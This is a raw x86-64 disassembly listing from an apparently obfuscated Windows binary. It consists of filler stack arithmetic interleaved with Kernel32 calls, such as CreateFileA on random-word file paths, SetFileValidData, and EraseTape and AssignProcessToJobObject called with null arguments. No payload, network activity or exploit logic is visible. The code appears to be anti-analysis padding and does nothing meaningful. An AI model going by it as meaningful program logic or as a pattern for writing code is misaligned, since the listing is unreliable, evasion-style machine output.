movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x92], al
lea rax, [0x1401e7420]
mov qword [rsp + 0x9ef8], rax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x9a48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x94e0]
mov qword [rcx], rax
lea rax, [rsp + 0x4420]
mov qword [rsp + 0x9f00], rax
mov rax, qword [rsp + 0x9438]
mov rcx, qword [rsp + 0x9cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4418], eax
movzx eax, word [rsp + 0xd0c]
mov rcx, qword [rsp + 0x9e30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbb8], ax
lea rax, [rsp + 0x56]
mov qword [0x1401e75b0], rax
mov rax, qword [rsp + 0x9750]
movzx eax, word [rax]
mov word [rsp + 0xd64], ax
movzx eax, byte [rsp + 0x89]
movzx ecx, byte [rsp + 0x75]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x9118]
movzx eax, byte [rax]
mov byte [rsp + 0xb6], al
mov rax, qword [rsp + 0x9798]
mov rcx, qword [rsp + 0x8c70]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9e50], rax
mov rax, qword [rsp + 0x96d8]
movzx ecx, al
mov rax, qword [rsp + 0x9168]
shl rax, cl
mov qword [rsp + 0x93b0], rax
lea rax, [rsp + 0x459c]
mov qword [rsp + 0x9f08], rax
mov eax, dword [0x1401e6018]
mov ecx, dword [rsp + 0x4504]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x44a4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x45a0], eax
movzx eax, word [rsp + 0xb70]
mov word [rsp + 0xd68], ax
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4508], eax
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c30]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401e6044], ax
movsx eax, byte [rsp + 0x77]
movsx ecx, byte [rsp + 0xa4]
xor eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
lea rcx, [rsp + 0x8c48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0xc30]
movsx ecx, word [rsp + 0xc98]
add eax, ecx
mov word [rsp + 0xba8], ax
mov rax, qword [rsp + 0x93c0]
movzx eax, word [rax]
mov word [rsp + 0xd6c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:muffsRotationally
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9f10], rax
mov rax, qword [rsp + 0x9730]
mov rcx, qword [rsp + 0x95f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ca0], rax
mov edx, 0x5eb3fb
mov rcx, qword [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x44a0], eax
mov eax, dword [rsp + 0x452c]
mov dword [rsp + 0x45d4], eax
mov rax, qword [rsp + 0x9880]
mov rcx, qword [rsp + 0x9168]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e10], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x9088]
mov rcx, qword [rsp + 0x9f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45d0], eax
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x45d8], eax
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0xb7], al
lea rdx, [rsp + 0x9c98]
mov rcx, qword [rsp + 0x95c8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4234], eax
movzx eax, byte [rsp + 0x5d]
movzx ecx, byte [rsp + 0x68]
sub eax, ecx
mov byte [0x1401e6046], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
mov rax, qword [0x1401e7480]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x97b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x75], al
movzx eax, word [rsp + 0xb94]
mov word [rsp + 0xd70], ax
mov rax, qword [rsp + 0x92c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9eb8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9dd8]
mov word [rcx], ax
mov eax, dword [0x1401e741c]
mov dword [rsp + 0x45dc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x45e0], eax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x44d4], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9288]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c18], rax
mov rax, qword [rsp + 0x9c10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9998], rax
lea rax, [0x1401e6014]
mov qword [rsp + 0x9f18], rax
mov rax, qword [rsp + 0x9728]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov byte [rcx], al
movzx ecx, word [rsp + 0xc7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb80], ax
movzx eax, word [rsp + 0xd58]
mov word [0x1401e75b8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:confirmationwrestedReassurances_approving
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9f20], rax
lea rax, [0x1401e7468]
mov qword [rsp + 0x9f28], rax
mov rax, qword [rsp + 0x9a98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6d], al
movzx ecx, word [rsp + 0xb90]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc00], ax
mov rax, qword [rsp + 0x9368]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9770]
mov byte [rcx], al
lea rcx, [rsp + 0x9808]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0xb8c]
mov qword [rsp + 0x9f30], rax
mov eax, dword [rsp + 0x455c]
mov ecx, dword [rsp + 0x44a4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4524], eax
lea rax, [rsp + 0x99d0]
mov qword [rsp + 0x9f38], rax
mov eax, dword [rsp + 0x4404]
mov rcx, qword [rsp + 0x8c80]
mov qword [rsp + 0x9f40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9f40]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9488]
movzx ecx, al
mov rax, qword [rsp + 0x9b30]
shr rax, cl
mov rcx, qword [rsp + 0x97f0]
mov qword [rcx], rax
lea rcx, str.pertinaciously_decipherable_Pontificating
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xd24], ax
lea rcx, [rsp + 0x26938]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9b60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb94]
and eax, ecx
mov word [0x1401e743c], ax
lea rax, [rsp + 0x79]
mov qword [rsp + 0x9f48], rax
movzx eax, byte [rsp + 0x5d]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x91f0]
movzx eax, byte [rax]
mov byte [rsp + 0xb8], al
movsx eax, byte [rsp + 0xb1]
mov rcx, qword [rsp + 0x9608]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa5], al
mov rax, qword [rsp + 0x9270]
mov eax, dword [rax]
mov dword [rsp + 0x45e4], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x90b0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0x95f8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9e50], rax
lea rcx, [rsp + 0x29f40]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x45e8], eax
mov rax, qword [rsp + 0x97f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9de0]
mov qword [rcx], rax
lea rax, [rsp + 0x44cc]
mov qword [rsp + 0x9f50], rax
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x45d8], eax
mov rax, qword [rsp + 0x9020]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b60]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7560], ax
mov rax, qword [0x1401e74d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8c]
add eax, ecx
mov rcx, qword [rsp + 0x9bb8]
mov byte [rcx], al
lea rax, [rsp + 0xbf0]
mov qword [rsp + 0x9f58], rax
movzx ecx, word [rsp + 0xb80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbec], ax
mov rax, qword [rsp + 0x9de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
movsx eax, word [rsp + 0xbc0]
movsx ecx, word [rsp + 0xc98]
add eax, ecx
mov word [rsp + 0xc64], ax
mov rax, qword [rsp + 0x9e28]
mov rax, qword [rax]
mov qword [rsp + 0x9f60], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8c80]
mov rcx, qword [rsp + 0x95f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x44b8], eax
mov rax, qword [rsp + 0x9598]
mov qword [rsp + 0x9f68], rax
xor edx, edx
mov rax, qword [rsp + 0x9230]
mov eax, dword [rax]
div dword [rsp + 0x4474]
mov rcx, qword [rsp + 0x9140]
mov dword [rcx], eax
lea rax, [rsp + 0xcc4]
mov qword [0x1401e75c0], rax
mov rax, qword [rsp + 0x9618]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb2]
xor eax, ecx
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0x9338]
movzx eax, byte [rax]
mov byte [rsp + 0xb9], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x434c], eax
mov rax, qword [rsp + 0x9250]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9020]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x92a0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9860], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x45e0], eax
mov rax, qword [rsp + 0x8ca8]
movzx eax, word [rax]
mov word [rsp + 0xd74], ax
mov eax, dword [rsp + 0x4434]
mov rcx, qword [rsp + 0x9e38]
mov qword [rsp + 0x9f70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9f70]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4464], eax
mov rax, qword [rsp + 0x9530]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9418]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c28], rax
mov rax, qword [rsp + 0x9150]
mov eax, dword [rax]
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0x94e0]
mov rcx, qword [rsp + 0x9908]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9590], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:Shamansindecision
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9f78], rax
movzx ecx, word [rsp + 0xb88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc80], ax
lea rcx, [rsp + 0x254d0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0xd6c]
movzx ecx, word [0x1401e6068]
add eax, ecx
mov word [0x1401e605c], ax
movzx eax, word [rsp + 0xd48]
mov word [rsp + 0xd78], ax
mov rax, qword [rsp + 0x8fe8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9bf8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x92e8]
mov byte [rcx], al
lea rax, [rsp + 0x67]
mov qword [rsp + 0x9f80], rax
mov rax, qword [rsp + 0x98b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x77]
add eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x9d38]
mov eax, dword [rax]
imul eax, dword [rsp + 0x4370]
mov rcx, qword [rsp + 0x9270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97b8]
mov rax, qword [rax]
mov qword [rsp + 0x9f88], rax
mov rax, qword [rsp + 0x91f8]
mov rcx, qword [0x1401e7410]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9318], rax
mov r9d, 1
lea r8, [rsp + 0x9100]
mov rdx, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0x95b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x45f0], eax
lea rax, [rsp + 0x44b8]
mov qword [rsp + 0x9f90], rax
lea rax, [rsp + 0xa0]
mov qword [0x1401e75c8], rax
mov edx, 0x33aadd
mov rcx, qword [rsp + 0x9f78]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x45e8], eax
movsx eax, word [rsp + 0xc9c]
movsx ecx, word [rsp + 0xd2c]
sub eax, ecx
mov word [rsp + 0xd4c], ax
mov rax, qword [rsp + 0x9d68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb7]
add eax, ecx
mov rcx, qword [rsp + 0x9468]
mov byte [rcx], al
lea rax, [rsp + 0xc34]
mov qword [rsp + 0x9f98], rax
mov rax, qword [0x1401e7430]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcb4]
sub eax, ecx
mov word [rsp + 0xc84], ax
mov rcx, qword [rsp + 0x8f80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9d60], rax
mov rax, qword [rsp + 0x9550]
mov rax, qword [rax]
mov qword [rsp + 0x9fa0], rax
mov rax, qword [rsp + 0x9e98]
mov rcx, qword [rsp + 0x9538]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9370]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4538]
shl eax, cl
mov dword [rsp + 0x4404], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4374], eax
lea rax, [rsp + 0x4524]
mov qword [rsp + 0x9fa8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
movsx eax, word [rsp + 0xc4c]
movsx ecx, word [rsp + 0xba0]
sar eax, cl
mov word [0x1401e74e0], ax
mov rax, qword [rsp + 0x94a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9028]
mov byte [rcx], al
movzx eax, word [rsp + 0xc64]
mov word [rsp + 0xd7c], ax
movsx eax, byte [rsp + 0xa7]
movsx ecx, byte [rsp + 0xb3]
or eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov byte [rcx], al
mov rax, qword [0x1401e7530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9250]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb9c], ax
mov rcx, qword [rsp + 0x9110]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x96d8]
mov qword [rsp + 0x9fb0], rax
mov rax, qword [rsp + 0x9a78]
mov rcx, qword [rsp + 0x9140]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43f8], eax
lea rax, [rsp + 0x4574]
mov qword [rsp + 0x9fb8], rax
lea rdx, [rsp + 0x447c]
mov rcx, qword [rsp + 0x9e10]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4508], eax
mov rax, qword [rsp + 0x9e50]
mov rcx, qword [rsp + 0x8c98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9828], rax
lea rax, [rsp + 0x6b]
mov qword [0x1401e75d0], rax
mov rax, qword [rsp + 0x9750]
movzx eax, word [rax]
mov word [rsp + 0xd80], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x77]
movsx ecx, byte [rsp + 0x87]
add eax, ecx
mov byte [rsp + 0x69], al
movzx eax, byte [rsp + 0x86]
movzx ecx, byte [rsp + 0x7b]
add eax, ecx
mov byte [rsp + 0xaa], al
lea rax, [rsp + 0xc40]
mov qword [rsp + 0x9fc0], rax
mov rcx, qword [rsp + 0x9158]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9408]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9258]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9228]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x44e0], eax
lea rax, [rsp + 0x4504]
mov qword [rsp + 0x9fc8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8d98], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x9fd0], rax
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42c4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x45dc], eax
mov rax, qword [rsp + 0x96d8]
mov rcx, qword [rsp + 0x9210]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90e0], rax
lea rax, [rsp + 0xbe0]
mov qword [rsp + 0x9fd8], rax
lea rdx, [rsp + 0x8db0]
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4460], eax
movzx ecx, word [rsp + 0xc7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd84], ax
mov rax, qword [rsp + 0x92c8]
movsx eax, word [rax]
mov rcx, qword [0x1401e7540]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e74a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x99b8]
mov byte [rcx], al
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x9fe0], rax
mov rax, qword [rsp + 0x9a88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x9130]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x43b0], eax
lea rax, [rsp + 0x459c]
mov qword [rsp + 0x9fe8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x9d70]
mov rcx, qword [rsp + 0x9bb0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
lea rax, [rsp + 0x9490]
mov qword [rsp + 0x9ff0], rax
mov rcx, qword [rsp + 0x9e20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4414], eax
movsx eax, word [rsp + 0xc50]
mov rcx, qword [rsp + 0x9ed0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xba8], ax
mov rax, qword [rsp + 0x9ca8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75]
and eax, ecx
mov byte [reloc.COMCTL32.dll_MakeDragList], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rax, [rsp + 0xd08]
mov qword [rsp + 0x9ff8], rax
lea rcx, [rsp + 0x25570]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x99d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9b78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc38], ax
movzx eax, byte [rsp + 0x6e]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x9fe8]
mov eax, dword [rax]
mov dword [rsp + 0x45f4], eax
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9bb0], rax
mov rax, qword [rsp + 0x9550]
mov rax, qword [rax]
mov qword [rsp + 0xa000], rax
mov rax, qword [rsp + 0x9d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4378]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43dc], eax
movsx eax, byte [rsp + 0x94]
movsx ecx, byte [rsp + 0x6d]
sub eax, ecx
mov byte [rsp + 0x63], al
lea rax, [rsp + 0xbb8]
mov qword [0x1401e75d8], rax
lea rax, [rsp + 0x8c]
mov qword [rsp + 0xa008], rax
movsx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0x9788]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x94d8]
movzx eax, word [rax]
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9318]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x43f8]
mov ecx, dword [rsp + 0x4468]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9428]
mov dword [rcx], eax
lea rcx, [rsp + 0x2a1c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x45ac], eax
lea rdx, [rsp + 0x43d0]
mov rcx, qword [rsp + 0x9e10]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45f8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
mov dword [rsp + 0x45fc], eax
movzx ecx, word [rsp + 0xcfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb6c], ax
mov rax, qword [rsp + 0x9b70]
mov rcx, qword [rsp + 0x9948]
mov qword [rsp + 0xa010], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa010]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9fb0]
mov qword [rcx], rax
lea rax, [rsp + 0xca4]
mov qword [rsp + 0xa018], rax
movsx eax, word [0x1401e7438]
mov rcx, qword [rsp + 0x9310]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e607c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.C:DesolationOctane_relayingUnbiassedly
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa020], rax
movzx eax, byte [rsp + 0x97]
movzx ecx, byte [rsp + 0x7a]
or eax, ecx
mov byte [rsp + 0x68], al
lea rcx, [rsp + 0x26938]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x92e8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
mov rax, qword [rsp + 0x9988]
movzx eax, byte [rax]
mov byte [rsp + 0xba], al
movsx eax, byte [rsp + 0xb1]
mov rcx, qword [rsp + 0x9d08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x44d0]
mov dword [rsp + 0x4600], eax
mov eax, dword [rsp + 0x4378]
mov ecx, dword [0x1401e6014]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4570], eax
mov ecx, MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x43c8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x92c0]
mov rax, qword [rax]
mov qword [rsp + 0xa028], rax
mov rcx, qword [rsp + 0x9e20]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9850]
mov rcx, qword [rsp + 0x8cc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x98c0], rax
lea rax, [rsp + 0xc2c]
mov qword [0x1401e75e0], rax
mov rax, qword [rsp + 0x9eb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc6c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:Strutted_slobhydridedeleter_belligerents
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa030], rax
lea rax, [rsp + 0x71]
mov qword [rsp + 0xa038], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
movzx eax, byte [rsp + 0x83]
mov rcx, qword [rsp + 0x93a8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
mov r9d, 0x139f
xor r8d, r8d
lea rdx, [rsp + 0x9178]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x42fc], eax
lea rcx, [rsp + 0x267b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xcac]
mov qword [rsp + 0xa040], rax
mov rax, qword [rsp + 0x9a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4228]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4270], eax
mov rax, qword [rsp + 0x9fb0]
mov rcx, qword [rsp + 0x9e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9048], rax
lea rax, [rsp + 0x4380]
mov qword [rsp + 0xa048], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [rsp + 0x9610]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9c48], rax
mov rax, qword [rsp + 0x9b78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x93a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7568]
mov word [rcx], ax
lea rdx, [rsp + 0x4558]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4358], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x99e8], rax
mov rax, qword [rsp + 0x9ec0]
movzx eax, byte [rax]
mov byte [rsp + 0xbb], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
